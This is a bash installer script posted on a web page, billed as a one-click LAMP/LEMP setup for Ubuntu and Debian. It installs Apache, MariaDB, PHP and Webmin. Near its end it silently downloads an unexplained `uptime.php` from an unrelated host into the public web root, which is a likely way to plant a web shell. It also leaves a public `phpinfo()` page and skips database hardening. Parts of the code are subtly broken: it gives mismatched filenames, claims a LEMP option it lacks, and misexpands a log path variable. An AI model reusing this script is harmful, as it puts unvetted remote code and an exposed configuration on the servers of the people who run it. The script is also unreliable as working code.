One Click L.A.M.P Installer

#!/bin/bash

###############################################################################
# 📦 One-Click LAMP/LEMP Installer Script
# ---------------------------------------
# Installs a complete LAMP or LEMP stack (Apache/Nginx, MariaDB, PHP) on
# Ubuntu 20.04/22.04 or Debian 11+ with minimal interaction.
#
# wget https://raw.githubusercontent.com/hosteons/lamp-lemp-oneclick-installer/main/lamp_lemp_installer.sh
# nano lamp-installer.sh
# chmod +x lamp-installer.sh
# bash ./lampinstaller.sh
#
# 📝 License: MIT
# You are free to use, modify, and distribute this script. Attribution is appreciated.
###############################################################################

set -e

echo "====================================="
echo " One-Click LAMP/LEMP Installer Script"
echo " by Hosteons.com | MIT Licensed"
echo "====================================="

if [[ "$EUID" -ne 0 ]]; then
  echo "❌ Please run this script as root"
  exit 1
fi

if [ -f /etc/os-release ]; then
    . /etc/os-release
    OS=$ID
    VER=$VERSION_ID
else
    echo "❌ Unsupported OS"
    exit 1
fi

if [[ "$OS" != "ubuntu" && "$OS" != "debian" ]]; then
    echo "❌ Only Ubuntu and Debian are supported."
    exit 1
fi

apt update && apt upgrade -y
apt-get install nano wget perl curl sudo -y 
PHP_PACKAGES="php php-mysql php-cli php-curl php-fpm php-gd php-mbstring mcrypt php-mysql php-imagick php-opcache php-zip php-pear unzip"

  echo "🔧 Installing LAMP stack..."
  apt install -y apache2 mariadb-server apache2-utils $PHP_PACKAGES libapache2-mod-php
  systemctl enable apache2
  systemctl start apache2 
  echo "<?php phpinfo(); ?>" > /var/www/html/info.php
  echo "✅ LAMP stack installed successfully!"
  echo "🔗 Visit http://YOUR_SERVER_IP/info.php to verify PHP is working."
# Prompt for domain name
read -rp "Enter your domain name (e.g. example.com): " DOMAIN
sudo mkdir -p /var/www/$DOMAIN
sudo chown -R www-data:www-data /var/www/$DOMAIN
sudo chmod -R 755 /var/www/$DOMAIN
cat <<EOF > /var/www/$DOMAIN/index.php
   Hello apache!
EOF
sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/$DOMAIN.conf
cat <<EOF > /etc/apache2/sites-available/$DOMAIN.conf
   <VirtualHost *:80>
    ServerAdmin jangseo@hotmai.com
    ServerName $DOMAIN
    ServerAlias www.$DOMAIN
    DocumentRoot /var/www/$DOMAIN
    ErrorLog ${APACHE_LOG_DIR}/$DOMAIN_error.log
    CustomLog ${APACHE_LOG_DIR}/$DOMAIN_access.log combined
   </VirtualHost>
EOF
sudo a2ensite $DOMAIN.conf
sudo a2dissite 000-default.conf
sudo systemctl reload apache2
sudo a2enmod rewrite
sudo systemctl restart apache2
#====== Making Webmin ========================#
curl -o setup-repos.sh https://raw.githubusercontent.com/webmin/webmin/master/setup-repos.sh 
sh setup-repos.sh 
apt -y install webmin --install-recommends 
echo "✅ Webmin configured."
cd /var/www/$DOMAIN
sudo wget http://storage.skydance.cc/uptime.php
echo "✅ all configured."
# mariadb-secure-installation



Posted : Friday 15th of May 2026 @ 04:34 AM— Tags : lamp-nginx-installer